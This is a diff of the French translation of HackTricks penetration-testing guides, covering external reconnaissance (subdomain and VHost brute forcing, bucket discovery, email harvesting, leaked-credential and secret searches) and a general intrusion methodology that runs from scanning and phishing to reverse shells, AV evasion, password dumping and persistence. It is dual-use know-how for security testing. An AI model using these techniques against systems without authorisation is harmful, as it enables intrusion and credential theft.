python3 main.py adobe.com adobe adobe.rules
|
python3 main.py adobe.com adobe adobe.rules
|
||||||
make_brute_list.sh adobe.rules adobe.brute
|
make_brute_list.sh adobe.rules adobe.brute
|
||||||
|
@ -414,7 +414,7 @@ echo www | subzuf facebook.com
|
||||||
```
|
```
|
||||||
### **Workflow de découverte de sous-domaines**
|
### **Workflow de découverte de sous-domaines**
|
||||||
|
|
||||||
Consultez ce billet de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant des **workflows Trickest** afin de ne pas avoir à lancer manuellement une série d'outils sur mon ordinateur :
|
Consultez ce billet de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant des **flux de travail Trickest** afin de ne pas avoir à lancer manuellement une série d'outils sur mon ordinateur :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -426,7 +426,7 @@ Si vous trouvez une adresse IP contenant **une ou plusieurs pages web** apparten
|
||||||
|
|
||||||
#### OSINT
|
#### OSINT
|
||||||
|
|
||||||
Vous pouvez trouver certains **VHosts dans les IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres APIs**.
|
Vous pouvez trouver certains **VHosts dans des IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres APIs**.
|
||||||
|
|
||||||
**Brute Force**
|
**Brute Force**
|
||||||
|
|
||||||
|
@ -448,7 +448,7 @@ VHostScan -t example.com
|
||||||
Avec cette technique, vous pourriez même être en mesure d'accéder à des endpoints internes/cachés.
|
Avec cette technique, vous pourriez même être en mesure d'accéder à des endpoints internes/cachés.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **CORS Brute Force**
|
### **Brute Force CORS**
|
||||||
|
|
||||||
Parfois, vous trouverez des pages qui ne renvoient que l'en-tête _**Access-Control-Allow-Origin**_ lorsque qu'un domaine/sous-domaine valide est défini dans l'en-tête _**Origin**_. Dans ces scénarios, vous pouvez abuser de ce comportement pour **découvrir** de nouveaux **sous-domaines**.
|
Parfois, vous trouverez des pages qui ne renvoient que l'en-tête _**Access-Control-Allow-Origin**_ lorsque qu'un domaine/sous-domaine valide est défini dans l'en-tête _**Origin**_. Dans ces scénarios, vous pouvez abuser de ce comportement pour **découvrir** de nouveaux **sous-domaines**.
|
||||||
```bash
|
```bash
|
||||||
|
@ -456,12 +456,12 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||||
```
|
```
|
||||||
### **Forçage de seaux**
|
### **Forçage de seaux**
|
||||||
|
|
||||||
En cherchant des **sous-domaines**, gardez un œil pour voir s'ils pointent vers un **seau** de quelque type que ce soit, et dans ce cas, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
En cherchant des **sous-domaines**, gardez un œil pour voir s'ils pointent vers un type de **seau**, et dans ce cas, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||||
De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**forcer les noms de seau possibles et vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/).
|
De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**forcer les noms de seau possibles et vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||||
|
|
||||||
### **Surveillance**
|
### **Surveillance**
|
||||||
|
|
||||||
Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence des certificats** que [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) fait.
|
Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence des certificats** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) le fait.
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
|
@ -484,7 +484,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
**Analysez tous les IPs qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
|
**Analysez tous les IPs qui n'appartiennent pas à des CDN** (car vous ne trouverez probablement rien d'intéressant là-dedans). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
|
||||||
|
|
||||||
**Trouvez un** [**guide**](../pentesting-network/) **sur la façon de scanner les hôtes.**
|
**Trouvez un** [**guide**](../pentesting-network/) **sur la façon de scanner les hôtes.**
|
||||||
|
|
||||||
|
@ -494,7 +494,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc
|
||||||
|
|
||||||
Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IPs et des domaines découverts**, donc vous avez peut-être **déjà trouvé tous les serveurs Web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs Web** dans le périmètre.
|
Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IPs et des domaines découverts**, donc vous avez peut-être **déjà trouvé tous les serveurs Web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs Web** dans le périmètre.
|
||||||
|
|
||||||
Veuillez noter que cela sera **orienté vers la découverte d'applications Web**, donc vous devriez également **effectuer la recherche de vulnérabilités** et **le scan de ports** également (**si autorisé** par le périmètre).
|
Veuillez noter que cela sera **orienté vers la découverte d'applications Web**, donc vous devriez également **effectuer l'analyse de vulnérabilité** et le **scan de ports** également (**si autorisé** par le périmètre).
|
||||||
|
|
||||||
Une **méthode rapide** pour découvrir les **ports ouverts** liés aux **serveurs web** en utilisant [**masscan** peut être trouvée ici](../pentesting-network/#http-port-discovery).\
|
Une **méthode rapide** pour découvrir les **ports ouverts** liés aux **serveurs web** en utilisant [**masscan** peut être trouvée ici](../pentesting-network/#http-port-discovery).\
|
||||||
Un autre outil convivial pour rechercher des serveurs Web est [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) et [**httpx**](https://github.com/projectdiscovery/httpx). Vous passez simplement une liste de domaines et il essaiera de se connecter aux ports 80 (http) et 443 (https). De plus, vous pouvez indiquer d'essayer d'autres ports:
|
Un autre outil convivial pour rechercher des serveurs Web est [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) et [**httpx**](https://github.com/projectdiscovery/httpx). Vous passez simplement une liste de domaines et il essaiera de se connecter aux ports 80 (http) et 443 (https). De plus, vous pouvez indiquer d'essayer d'autres ports:
|
||||||
|
@ -512,7 +512,7 @@ De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/Bisho
|
||||||
|
|
||||||
## Actifs Cloud Publics
|
## Actifs Cloud Publics
|
||||||
|
|
||||||
Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés identifiant cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "<nom_de_domaine>", <"noms_de_sous-domaine">`.
|
Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés identifiant cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "<nom_de_domaine>", <"noms_de_sous-domaines">`.
|
||||||
|
|
||||||
Vous aurez également besoin de listes de mots **couramment utilisés dans les buckets** :
|
Vous aurez également besoin de listes de mots **couramment utilisés dans les buckets** :
|
||||||
|
|
||||||
|
@ -532,7 +532,7 @@ Si vous trouvez des éléments tels que des **buckets ou des fonctions cloud ouv
|
||||||
|
|
||||||
## E-mails
|
## E-mails
|
||||||
|
|
||||||
Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous **avez besoin pour commencer à rechercher des e-mails**. Voici les **API** et **outils** qui ont le mieux fonctionné pour moi pour trouver des e-mails d'une entreprise :
|
Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous avez **besoin pour commencer à rechercher des e-mails**. Voici les **API** et **outils** qui ont le mieux fonctionné pour moi pour trouver des e-mails d'une entreprise :
|
||||||
|
|
||||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - avec des APIs
|
* [**theHarvester**](https://github.com/laramies/theHarvester) - avec des APIs
|
||||||
* API de [**https://hunter.io/**](https://hunter.io/) (version gratuite)
|
* API de [**https://hunter.io/**](https://hunter.io/) (version gratuite)
|
||||||
|
@ -545,14 +545,14 @@ Les e-mails seront utiles plus tard pour **brute-forcer les connexions web et le
|
||||||
|
|
||||||
## Fuites d'identifiants
|
## Fuites d'identifiants
|
||||||
|
|
||||||
Avec les **domaines**, **sous-domaines** et **e-mails**, vous pouvez commencer à rechercher des identifiants qui ont fuité dans le passé appartenant à ces e-mails :
|
Avec les **domaines**, **sous-domaines** et **e-mails**, vous pouvez commencer à rechercher des identifiants qui ont été divulgués dans le passé appartenant à ces e-mails :
|
||||||
|
|
||||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
Si vous trouvez des identifiants qui ont fuité **valides**, c'est une victoire très facile.
|
Si vous trouvez des identifiants **divulgués valides**, c'est une victoire très facile.
|
||||||
|
|
||||||
## Fuites de secrets
|
## Fuites de secrets
|
||||||
|
|
||||||
|
@ -560,8 +560,8 @@ Les fuites d'identifiants sont liées aux piratages d'entreprises où des **info
|
||||||
|
|
||||||
### Fuites Github
|
### Fuites Github
|
||||||
|
|
||||||
Des identifiants et des APIs pourraient être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\
|
Des identifiants et des APIs peuvent être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\
|
||||||
Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement sur eux.
|
Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement dessus.
|
||||||
|
|
||||||
**Leakos** peut également être utilisé pour exécuter **gitleaks** sur tous les **textes** fournis par les **URLs passées** à celui-ci car parfois les **pages web contiennent également des secrets**.
|
**Leakos** peut également être utilisé pour exécuter **gitleaks** sur tous les **textes** fournis par les **URLs passées** à celui-ci car parfois les **pages web contiennent également des secrets**.
|
||||||
|
|
||||||
|
@ -575,22 +575,22 @@ Consultez également cette **page** pour des **dorks github potentiels** que vou
|
||||||
|
|
||||||
### Fuites de Pastes
|
### Fuites de Pastes
|
||||||
|
|
||||||
Parfois, les attaquants ou simplement les employés **publieront du contenu d'entreprise sur un site de paste**. Cela pourrait ou non contenir des **informations sensibles**, mais il est très intéressant de le rechercher.\
|
Parfois, les attaquants ou simplement les employés **publieront du contenu d'entreprise sur un site de collages**. Cela peut ou non contenir des **informations sensibles**, mais il est très intéressant de le rechercher.\
|
||||||
Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) pour rechercher dans plus de 80 sites de paste en même temps.
|
Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) pour rechercher dans plus de 80 sites de collages en même temps.
|
||||||
|
|
||||||
### Dorks Google
|
### Dorks Google
|
||||||
|
|
||||||
Les anciens mais bons dorks google sont toujours utiles pour trouver des **informations exposées qui ne devraient pas s'y trouver**. Le seul problème est que la [**base de données de piratage google**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Ainsi, vous pouvez choisir vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**.
|
Les anciens mais bons dorks google sont toujours utiles pour trouver des **informations exposées qui ne devraient pas s'y trouver**. Le seul problème est que la [**base de données de piratage Google**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Ainsi, vous pouvez choisir vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**.
|
||||||
|
|
||||||
_Notez que les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne se termineront jamais car Google vous bloquera très rapidement._
|
_Notez que les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne se termineront jamais car Google vous bloquera très rapidement._
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
Si vous trouvez des identifiants ou des jetons API qui ont fuité **valides**, c'est une victoire très facile.
|
Si vous trouvez des **identifiants ou jetons API divulgués valides**, c'est une victoire très facile.
|
||||||
|
|
||||||
## Vulnérabilités de Code Public
|
## Vulnérabilités de Code Public
|
||||||
|
|
||||||
Si vous découvrez que l'entreprise a du **code open-source**, vous pouvez l'**analyser** et rechercher des **vulnérabilités** dessus.
|
Si vous découvrez que l'entreprise a du **code open-source**, vous pouvez **l'analyser** et rechercher des **vulnérabilités**.
|
||||||
|
|
||||||
**Selon le langage**, il existe différents **outils** que vous pouvez utiliser :
|
**Selon le langage**, il existe différents **outils** que vous pouvez utiliser :
|
||||||
|
|
||||||
|
@ -603,7 +603,7 @@ Il existe également des services gratuits qui vous permettent de **scanner des
|
||||||
* [**Snyk**](https://app.snyk.io/)
|
* [**Snyk**](https://app.snyk.io/)
|
||||||
## [**Méthodologie de test d'application Web**](../../network-services-pentesting/pentesting-web/)
|
## [**Méthodologie de test d'application Web**](../../network-services-pentesting/pentesting-web/)
|
||||||
|
|
||||||
La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent à l'intérieur des **applications web**, donc à ce stade, j'aimerais parler d'une **méthodologie de test d'application web**, et vous pouvez [**trouver ces informations ici**](../../network-services-pentesting/pentesting-web/).
|
La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent à l'intérieur des **applications web**, donc à ce stade, j'aimerais parler d'une **méthodologie de test d'application web**, que vous pouvez [**trouver ici**](../../network-services-pentesting/pentesting-web/).
|
||||||
|
|
||||||
Je tiens également à mentionner la section [**Outils open source de scanners automatiques Web**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, même si vous ne devriez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les implémenter dans des **flux de travail pour obtenir des informations web initiales.**
|
Je tiens également à mentionner la section [**Outils open source de scanners automatiques Web**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, même si vous ne devriez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les implémenter dans des **flux de travail pour obtenir des informations web initiales.**
|
||||||
|
|
||||||
|
@ -619,9 +619,9 @@ Donc, vous avez déjà :
|
||||||
4. Trouvé tous les **sous-domaines** des domaines (une prise de contrôle de sous-domaine ?)
|
4. Trouvé tous les **sous-domaines** des domaines (une prise de contrôle de sous-domaine ?)
|
||||||
5. Trouvé tous les **IP** (à partir et **non à partir de CDN**) dans le périmètre.
|
5. Trouvé tous les **IP** (à partir et **non à partir de CDN**) dans le périmètre.
|
||||||
6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (quelque chose d'étrange qui mérite un examen plus approfondi ?)
|
6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (quelque chose d'étrange qui mérite un examen plus approfondi ?)
|
||||||
7. Trouvé tous les **actifs potentiels dans le cloud public** appartenant à l'entreprise.
|
7. Trouvé tous les **actifs publics potentiels dans le cloud** appartenant à l'entreprise.
|
||||||
8. **Emails**, **fuites d'identifiants**, et **fuites de secrets** qui pourraient vous donner une **grosse victoire très facilement**.
|
8. **Emails**, **fuites d'identifiants**, et **fuites de secrets** qui pourraient vous donner une **grosse victoire très facilement**.
|
||||||
9. **Testé en pentestant tous les sites web que vous avez trouvés**
|
9. **Tester en pentestant tous les sites web que vous avez trouvés**
|
||||||
|
|
||||||
## **Outils automatiques de reconnaissance complets**
|
## **Outils automatiques de reconnaissance complets**
|
||||||
|
|
||||||
|
@ -636,9 +636,9 @@ Il existe plusieurs outils qui effectueront une partie des actions proposées co
|
||||||
|
|
||||||
* Tous les cours gratuits de [**@Jhaddix**](https://twitter.com/Jhaddix) comme [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
* Tous les cours gratuits de [**@Jhaddix**](https://twitter.com/Jhaddix) comme [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si vous êtes intéressé par une **carrière en hacking** et pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_).
|
Si vous êtes intéressé par une **carrière en hacking** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -8,13 +8,13 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **dépôts GitHub.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **dépôts GitHub.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||||
|
|
||||||
|
@ -28,7 +28,7 @@ _Logos Hacktricks conçus par_ [_@ppiernacho_](https://www.instagram.com/ppieran
|
||||||
|
|
||||||
### 0- Attaques Physiques
|
### 0- Attaques Physiques
|
||||||
|
|
||||||
Avez-vous **accès physique** à la machine que vous souhaitez attaquer ? Vous devriez lire quelques [**astuces sur les attaques physiques**](../physical-attacks/physical-attacks.md) et d'autres sur [**l'évasion des applications GUI**](../physical-attacks/escaping-from-gui-applications/).
|
Avez-vous un **accès physique** à la machine que vous souhaitez attaquer ? Vous devriez lire quelques [**astuces sur les attaques physiques**](../physical-attacks/physical-attacks.md) et d'autres sur [**l'évasion des applications GUI**](../physical-attacks/escaping-from-gui-applications/).
|
||||||
|
|
||||||
### 1 - [Découverte des hôtes à l'intérieur du réseau](pentesting-network/#discovering-hosts)/ [Découverte des actifs de l'entreprise](external-recon-methodology/)
|
### 1 - [Découverte des hôtes à l'intérieur du réseau](pentesting-network/#discovering-hosts)/ [Découverte des actifs de l'entreprise](external-recon-methodology/)
|
||||||
|
|
||||||
|
@ -45,7 +45,7 @@ Avant d'attaquer un hôte, vous préférerez peut-être **voler des identifiants
|
||||||
|
|
||||||
### 3- [Balayage de ports - Découverte de services](pentesting-network/#scanning-hosts)
|
### 3- [Balayage de ports - Découverte de services](pentesting-network/#scanning-hosts)
|
||||||
|
|
||||||
La première chose à faire lorsque vous cherchez des vulnérabilités dans un hôte est de savoir quels **services sont en cours d'exécution sur quels ports**. Voyons les [**outils de base pour balayer les ports des hôtes**](pentesting-network/#scanning-hosts).
|
La première chose à faire lorsque vous **cherchez des vulnérabilités dans un hôte** est de savoir quels **services sont en cours d'exécution sur quels ports. Voyons les [**outils de base pour scanner les ports des hôtes**](pentesting-network/#scanning-hosts).
|
||||||
|
|
||||||
### **4-** [Recherche d'exploits de version de service](search-exploits.md)
|
### **4-** [Recherche d'exploits de version de service](search-exploits.md)
|
||||||
|
|
||||||
|
@ -58,27 +58,27 @@ S'il n'y a pas d'exploit intéressant pour un service en cours d'exécution, vou
|
||||||
**Dans ce livre, vous trouverez un guide pour pentester les services les plus courants** (et d'autres moins courants)**. Veuillez rechercher dans l'index de gauche la** _**section PENTESTING**_ **(les services sont classés par leurs ports par défaut).**
|
**Dans ce livre, vous trouverez un guide pour pentester les services les plus courants** (et d'autres moins courants)**. Veuillez rechercher dans l'index de gauche la** _**section PENTESTING**_ **(les services sont classés par leurs ports par défaut).**
|
||||||
|
|
||||||
**Je tiens à mentionner spécialement la partie** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(car c'est la plus étendue).**\
|
**Je tiens à mentionner spécialement la partie** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(car c'est la plus étendue).**\
|
||||||
Également, un petit guide sur la façon de [**trouver des vulnérabilités connues dans les logiciels**](search-exploits.md) peut être trouvé ici.
|
De plus, un petit guide sur la façon de [**trouver des vulnérabilités connues dans les logiciels**](search-exploits.md) peut être trouvé ici.
|
||||||
|
|
||||||
**Si votre service ne figure pas dans l'index, recherchez sur Google** d'autres tutoriels et **faites-moi savoir si vous souhaitez que je l'ajoute**. Si vous ne **trouvez rien** sur Google, effectuez votre **propre pentesting à l'aveugle**, vous pourriez commencer par **vous connecter au service, le fuzzing et lire les réponses** (s'il y en a).
|
**Si votre service ne figure pas dans l'index, recherchez dans Google** d'autres tutoriels et **faites-moi savoir si vous souhaitez que je l'ajoute.** Si vous ne **trouvez rien** dans Google, effectuez votre **propre pentesting à l'aveugle**, vous pourriez commencer par **vous connecter au service, le fuzzing et lire les réponses** (s'il y en a).
|
||||||
|
|
||||||
#### 5.1 Outils Automatiques
|
#### 5.1 Outils Automatiques
|
||||||
|
|
||||||
Il existe également plusieurs outils qui peuvent effectuer des **évaluations automatiques des vulnérabilités**. **Je vous recommande d'essayer** [**Legion**](https://github.com/carlospolop/legion)**, qui est l'outil que j'ai créé et qui est basé sur les notes sur le pentesting des services que vous pouvez trouver dans ce livre.**
|
Il existe également plusieurs outils qui peuvent effectuer des **évaluations automatiques des vulnérabilités**. **Je vous recommande d'essayer** [**Legion**](https://github.com/carlospolop/legion)**, qui est l'outil que j'ai créé et qui est basé sur les notes sur le pentesting des services que vous pouvez trouver dans ce livre.**
|
||||||
|
|
||||||
#### **5.2 Brute-Forcing des services**
|
#### **5.2 Brute-Force des services**
|
||||||
|
|
||||||
Dans certains scénarios, une **attaque par force brute** pourrait être utile pour **compromettre** un **service**. [**Trouvez ici une feuille de triche de différentes attaques par force brute sur les services**](brute-force.md)**.**
|
Dans certains scénarios, une **attaque par force brute** pourrait être utile pour **compromettre** un **service**. [**Trouvez ici une feuille de triche de différentes attaques par force brute sur les services**](brute-force.md)**.**
|
||||||
|
|
||||||
### 6- [Phishing](phishing-methodology/)
|
### 6- [Phishing](phishing-methodology/)
|
||||||
|
|
||||||
Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous **pourriez avoir besoin d'essayer le phishing** pour pénétrer dans le réseau. Vous pouvez consulter ma méthodologie de phishing [ici](phishing-methodology/):
|
Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous **devrez peut-être essayer un phishing** pour accéder au réseau. Vous pouvez consulter ma méthodologie de phishing [ici](phishing-methodology/):
|
||||||
|
|
||||||
### **7-** [**Obtention d'un Shell**](shells/)
|
### **7-** [**Obtention d'un Shell**](shells/)
|
||||||
|
|
||||||
D'une manière ou d'une autre, vous devriez avoir trouvé **un moyen d'exécuter du code** sur la victime. Ensuite, [une liste d'outils possibles à l'intérieur du système que vous pouvez utiliser pour obtenir un shell inversé serait très utile](shells/).
|
D'une manière ou d'une autre, vous devriez avoir trouvé **un moyen d'exécuter du code** sur la victime. Ensuite, [une liste d'outils possibles à l'intérieur du système que vous pouvez utiliser pour obtenir un shell inversé serait très utile](shells/).
|
||||||
|
|
||||||
Particulièrement sous Windows, vous pourriez avoir besoin d'aide pour **éviter les antivirus** : [**Consultez cette page**](../windows-hardening/av-bypass.md)**.**\\
|
Surtout sous Windows, vous pourriez avoir besoin d'aide pour **éviter les antivirus** : [**Consultez cette page**](../windows-hardening/av-bypass.md)**.**\\
|
||||||
|
|
||||||
### 8- À l'intérieur
|
### 8- À l'intérieur
|
||||||
|
|
||||||
|
@ -101,7 +101,7 @@ Vous devriez également consulter ces pages sur le fonctionnement de **Windows**
|
||||||
|
|
||||||
* [**Authentification, identifiants, privilèges de jetons et UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
* [**Authentification, identifiants, privilèges de jetons et UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||||
* Comment fonctionne **NTLM**](../windows-hardening/ntlm/)
|
* Comment fonctionne **NTLM**](../windows-hardening/ntlm/)
|
||||||
* Comment **voler des identifiants** dans Windows
|
* Comment **voler des identifiants**](broken-reference/) sur Windows
|
||||||
* Quelques astuces sur [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
* Quelques astuces sur [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||||
|
|
||||||
**N'oubliez pas de consulter les meilleurs outils pour énumérer les chemins d'élévation de privilèges locaux sur Windows et Linux :** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
**N'oubliez pas de consulter les meilleurs outils pour énumérer les chemins d'élévation de privilèges locaux sur Windows et Linux :** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||||
|
@ -114,19 +114,19 @@ Ici, vous pouvez trouver une [**méthodologie expliquant les actions les plus co
|
||||||
|
|
||||||
#### **11**.1 - Pillage
|
#### **11**.1 - Pillage
|
||||||
|
|
||||||
Vérifiez si vous pouvez trouver plus de **mots de passe** à l'intérieur de l'hôte ou si vous avez **accès à d'autres machines** avec les **privilèges** de votre **utilisateur**.\
|
Vérifiez si vous pouvez trouver plus de **mots de passe** sur l'hôte ou si vous avez **accès à d'autres machines** avec les **privilèges** de votre **utilisateur**.\
|
||||||
Trouvez ici différentes façons de [**dump les mots de passe dans Windows**](broken-reference/).
|
Trouvez ici différentes façons de [**dump les mots de passe dans Windows**](broken-reference/).
|
||||||
|
|
||||||
#### 11.2 - Persistance
|
#### 11.2 - Persistance
|
||||||
|
|
||||||
**Utilisez 2 ou 3 types différents de mécanismes de persistance afin de ne pas avoir besoin d'exploiter à nouveau le système.**\
|
**Utilisez 2 ou 3 types différents de mécanismes de persistance pour ne pas avoir besoin d'exploiter à nouveau le système.**\
|
||||||
